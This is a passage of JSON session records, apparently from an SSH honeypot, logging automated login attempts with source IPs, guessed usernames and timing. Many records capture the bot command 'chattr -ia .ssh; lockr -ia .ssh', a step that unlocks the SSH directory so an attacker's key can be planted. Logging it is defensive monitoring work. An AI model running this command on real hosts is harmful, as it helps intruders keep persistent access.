  "channel_kind": null,
  "src_ip": "35.237.94.18",
  "src_port": 47168,
  "username": "book",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:25:47.974142+00:00",
  "ended_at": "2026-08-23T00:25:49.203769+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e620bc4-7206-4b0e-a35e-be585d57d248",
  "name": "noble-upland-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "35.237.94.18",
  "src_port": 60036,
  "username": "root/1234567",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T00:19:44.530916+00:00",
  "ended_at": "2026-08-23T00:19:45.968707+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb8255c1-fa10-47fb-bace-d408951594e4",
  "name": "ivory-gloomy-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "68.183.236.1",
  "src_port": 37372,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 772,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T21:59:03.408093+00:00",
  "ended_at": "2026-08-22T21:59:11.945062+00:00",
  "ended_reason": "exec complete",
  "commands": 26,
  "transcript_bytes": 3638
 },
 {
  "id": "1264ae4a-6e41-4f7a-a8d6-a719dae64ee7",
  "name": "glacial-lively-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "68.183.236.1",
  "src_port": 52114,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T21:58:53.126607+00:00",
  "ended_at": "2026-08-22T21:58:53.534044+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "463ae271-36a7-4b4f-9207-a5ffe2a9278c",
  "name": "muted-hazy-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "68.183.236.1",
  "src_port": 43068,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T21:58:34.853428+00:00",
  "ended_at": "2026-08-22T21:58:36.342399+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24550416-6dd2-4262-bf8f-58a4505c00d3",
  "name": "nimble-breezy-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "68.183.236.1",
  "src_port": 37384,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T21:58:32.072759+00:00",
  "ended_at": "2026-08-22T21:58:33.442331+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "306485a2-83b9-4f22-a712-6bc05c99d160",
  "name": "amber-placid-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "68.183.236.1",
  "src_port": 49040,
  "username": "steam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T21:56:11.911364+00:00",
  "ended_at": "2026-08-22T21:56:13.009024+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e6d05cb-0897-4c84-8a4e-90bb3cbbc417",
  "name": "tender-fierce-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "68.183.236.1",
  "src_port": 34888,
  "username": "ftp_id",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T21:53:39.329321+00:00",
  "ended_at": "2026-08-22T21:53:40.832492+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6ab7cad-2022-464f-9a33-41099c127465",
  "name": "curious-chilly-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "68.183.236.1",
  "src_port": 48578,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T21:50:34.854713+00:00",
  "ended_at": "2026-08-22T21:50:36.300845+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "95af22e8-455c-494b-9a26-d34aceb89a4c",
  "name": "painted-electric-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "161.248.189.72",
  "src_port": 37538,
  "username": "wanghao",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 794,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T19:14:31.740961+00:00",
  "ended_at": "2026-08-22T19:14:31.989686+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3941
 },
 {
  "id": "acdb76c4-6487-478b-a731-38236da6055d",
  "name": "lively-sullen-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "161.248.189.72",
  "src_port": 37574,
  "username": "wanghao",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T19:14:11.699459+00:00",
  "ended_at": "2026-08-22T19:14:12.148066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d409771-2407-4d9d-be4b-1072f851aa4b",
  "name": "freckled-reedy-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "161.248.189.72",
  "src_port": 37550,
  "username": "wanghao",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T19:13:51.898494+00:00",
  "ended_at": "2026-08-22T19:13:53.413642+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d40832b1-23d2-4086-8caf-2af9a650cc0c",
  "name": "brave-coral-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "161.248.189.72",
  "src_port": 37546,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T19:13:49.225772+00:00",
  "ended_at": "2026-08-22T19:13:50.332324+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f09221fe-8fe7-4dad-b2e1-fa0e2cac388b",
  "name": "placid-fringed-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "161.248.189.72",
  "src_port": 37324,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T19:11:15.156381+00:00",
  "ended_at": "2026-08-22T19:11:16.413960+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82db790a-7994-4568-a132-06b429be8bd8",
  "name": "dapper-cunning-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "161.248.189.72",
  "src_port": 36984,
  "username": "ttx",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T19:04:21.002637+00:00",
  "ended_at": "2026-08-22T19:04:23.026299+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1ae6f90-0b8c-4bc6-848b-19144edc24ef",
  "name": "candid-restless-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.166.242.149",
  "src_port": 41778,
  "username": "suporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 894,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T18:50:13.441372+00:00",
  "ended_at": "2026-08-22T18:50:15.710054+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3480
 },
 {
  "id": "3686e5a2-e425-462d-8645-a9e07dd366ac",
  "name": "vigilant-sandy-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 41790,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:49:21.441797+00:00",
  "ended_at": "2026-08-22T18:49:23.019307+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b1253ef-f9fc-4bd0-8587-b0b1823d5a35",
  "name": "polar-dapper-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.166.242.149",
  "src_port": 57508,
  "username": "nana",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T18:39:42.977433+00:00",
  "ended_at": "2026-08-22T18:39:42.979949+00:00",
  "ended_reason": "connection lost",
  "commands": 3,
  "transcript_bytes": 559
 },
 {
  "id": "f80c7fc1-a33c-4e1f-9d3a-6658a6e185bc",
  "name": "crimson-sterling-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 57526,
  "username": "nana",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:39:34.159189+00:00",
  "ended_at": "2026-08-22T18:39:34.772207+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "25c81d2f-1404-4e58-b42a-59b4eb411395",
  "name": "craggy-cunning-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 57522,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:39:31.207469+00:00",
  "ended_at": "2026-08-22T18:39:32.007324+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8909c67d-a8f8-42c7-9249-be52228a90d6",
  "name": "alpine-electric-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.166.242.149",
  "src_port": 50140,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T18:29:45.140673+00:00",
  "ended_at": "2026-08-22T18:32:45.405330+00:00",
  "ended_reason": "exec complete",
  "commands": 3,
  "transcript_bytes": 560
 },
 {
  "id": "b39f15db-a451-4d81-ae63-7b4902a573ae",
  "name": "solar-opal-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 50156,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:29:44.105963+00:00",
  "ended_at": "2026-08-22T18:29:45.131750+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e65f9f5-ade1-4d00-81e1-b780a7f6816d",
  "name": "civil-zealous-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 50152,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:29:41.382943+00:00",
  "ended_at": "2026-08-22T18:29:42.995509+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "009d8ecf-3415-4ccb-91f5-1eda2eeafe25",
  "name": "gloomy-russet-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 53278,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:24:58.465291+00:00",
  "ended_at": "2026-08-22T18:24:59.673051+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e9f4814-f236-4f32-b30e-552f92b4c7ce",
  "name": "ashen-languid-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 44056,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:24:48.618946+00:00",
  "ended_at": "2026-08-22T18:24:49.624539+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9bc898dd-d414-47b9-8361-797fb8cb7ff8",
  "name": "sincere-thorny-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.166.242.149",
  "src_port": 44050,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T18:24:44.200826+00:00",
  "ended_at": "2026-08-22T18:25:07.692590+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "3cfc70da-6edd-43e4-8fe2-e43b052d2301",
  "name": "gilded-bronzed-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 59498,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:15:08.399134+00:00",
  "ended_at": "2026-08-22T18:15:09.710964+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f4abe80-60cc-4c06-bec0-510a8c508ed3",
  "name": "slender-forlorn-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.166.242.149",
  "src_port": 45908,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T18:14:49.476615+00:00",
  "ended_at": "2026-08-22T18:15:51.193726+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "33f0a0ee-fc91-4825-912d-3baf6a0cd848",
  "name": "lawful-glacial-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.166.242.149",
  "src_port": 55322,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T18:10:01.852447+00:00",
  "ended_at": "2026-08-22T18:10:01.856032+00:00",
  "ended_reason": "connection lost",
  "commands": 3,
  "transcript_bytes": 559
 },
 {
  "id": "d1cc904e-eb04-48ad-bd6a-72e4eeb6d2b1",
  "name": "genial-scarlet-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 55332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:09:53.056412+00:00",
  "ended_at": "2026-08-22T18:09:53.814863+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9cbba36c-5a72-4d68-b281-f281b295b95f",
  "name": "woven-muted-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 55324,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:09:49.721331+00:00",
  "ended_at": "2026-08-22T18:09:51.719293+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8c537dfe-5b09-474d-a777-1a1e544b6db1",
  "name": "emerald-primal-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.166.242.149",
  "src_port": 41452,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 472,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T18:05:02.768278+00:00",
  "ended_at": "2026-08-22T18:07:02.813565+00:00",
  "ended_reason": "exec complete",
  "commands": 6,
  "transcript_bytes": 826
 },
 {
  "id": "094a6d68-3b0a-4be5-bdce-fd464ac790d7",
  "name": "diligent-alpine-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 51016,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:04:59.970170+00:00",
  "ended_at": "2026-08-22T18:05:00.908586+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d949994-9036-4704-9f36-09fc6dc49fdb",
  "name": "nautical-candid-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 41468,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T18:04:57.061844+00:00",
  "ended_at": "2026-08-22T18:05:00.143452+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a568860a-8ab9-48e6-8189-96b1663634bc",
  "name": "quiet-gentle-kea",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 42006,
  "username": "palserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T17:49:49.090415+00:00",
  "ended_at": "2026-08-22T17:49:50.117196+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a26dddb3-5c1c-475f-abb9-0b9643d22b33",
  "name": "feathered-gleaming-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 49960,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T17:34:46.424171+00:00",
  "ended_at": "2026-08-22T17:35:45.127308+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f90f20ba-529c-4e16-9780-6f4a0157fe3c",
  "name": "gleaming-brave-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "43.166.242.149",
  "src_port": 56014,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T17:26:34.425196+00:00",
  "ended_at": "2026-08-22T17:26:35.340432+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0f09920-b4c1-4d19-92d8-fdac78e39488",
  "name": "solar-cheerful-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.134.154.195",
  "src_port": 46574,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 791,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T15:42:34.931139+00:00",
  "ended_at": "2026-08-22T15:42:35.179940+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3563
 },
 {
  "id": "9d525f2e-ef08-4f23-99b4-7cd06a200e64",
  "name": "umber-lonesome-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.134.154.195",
  "src_port": 58852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T15:42:14.708279+00:00",
  "ended_at": "2026-08-22T15:42:15.159736+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "01287a51-e296-474c-9e12-287ee011cb11",
  "name": "vivid-crystal-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.134.154.195",
  "src_port": 34490,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T15:41:57.072602+00:00",
  "ended_at": "2026-08-22T15:41:58.450518+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "232207b3-0652-43e8-82e9-5bf779fda8d2",
  "name": "fickle-glassy-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.134.154.195",
  "src_port": 46584,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T15:41:53.444295+00:00",
  "ended_at": "2026-08-22T15:41:55.534125+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fe6185a-edb3-4174-940f-e7de8d61a1da",
  "name": "stoic-ashen-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.134.154.195",
  "src_port": 57110,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T15:38:12.189999+00:00",
  "ended_at": "2026-08-22T15:38:13.607941+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dde7ebf5-8cf1-4a71-8fb4-ad9c3f19e5d0",
  "name": "northern-crisp-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.134.154.195",
  "src_port": 45776,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T15:32:56.240888+00:00",
  "ended_at": "2026-08-22T15:32:58.025759+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7207bd6d-f105-44ce-ad44-2ecdc0e17b8e",
  "name": "supple-lunar-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "81.192.46.36",
  "src_port": 58294,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 373,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T14:19:36.840359+00:00",
  "ended_at": "2026-08-22T14:19:36.951750+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3814
 },
 {
  "id": "f8565003-7509-4f32-9d2b-9a5c2bdb6822",
  "name": "fickle-velvet-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "81.192.46.36",
  "src_port": 35680,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T14:19:22.313340+00:00",
  "ended_at": "2026-08-22T14:19:22.605677+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f38ddabe-41f1-4fc9-939f-bd15f73bbdb4",
  "name": "woven-candid-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "81.192.46.36",
  "src_port": 59552,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T14:19:11.353326+00:00",
  "ended_at": "2026-08-22T14:19:12.551894+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "17dd81f7-d18b-4841-bdc8-03168e5a7cb5",
  "name": "frank-loyal-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "81.192.46.36",
  "src_port": 59118,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T14:19:09.956417+00:00",
  "ended_at": "2026-08-22T14:19:10.611642+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e517604d-5db8-4010-8c91-b2cb3a33fbf8",
  "name": "dewy-freckled-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "81.192.46.36",
  "src_port": 38460,
  "username": "tab",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T14:16:52.941822+00:00",
  "ended_at": "2026-08-22T14:16:54.371318+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40d3a1b6-28e4-4e4b-b93a-6868fa0def60",
  "name": "graceful-bold-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "81.192.46.36",
  "src_port": 56238,
  "username": "gabriele",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-22T14:11:29.266595+00:00",
  "ended_at": "2026-08-22T14:11:30.093054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd12e7ec-8d7d-4402-b538-0a87cd5d9eeb",
  "name": "lawful-salty-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.204.82.238",
  "src_port": 39654,
  "username": "sagar",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-22T05:11:42.404059+00:00",
  "ended_at": "2026-08-22T05:11:42.563531+00:00",
  "ended_reason": "exec complete",
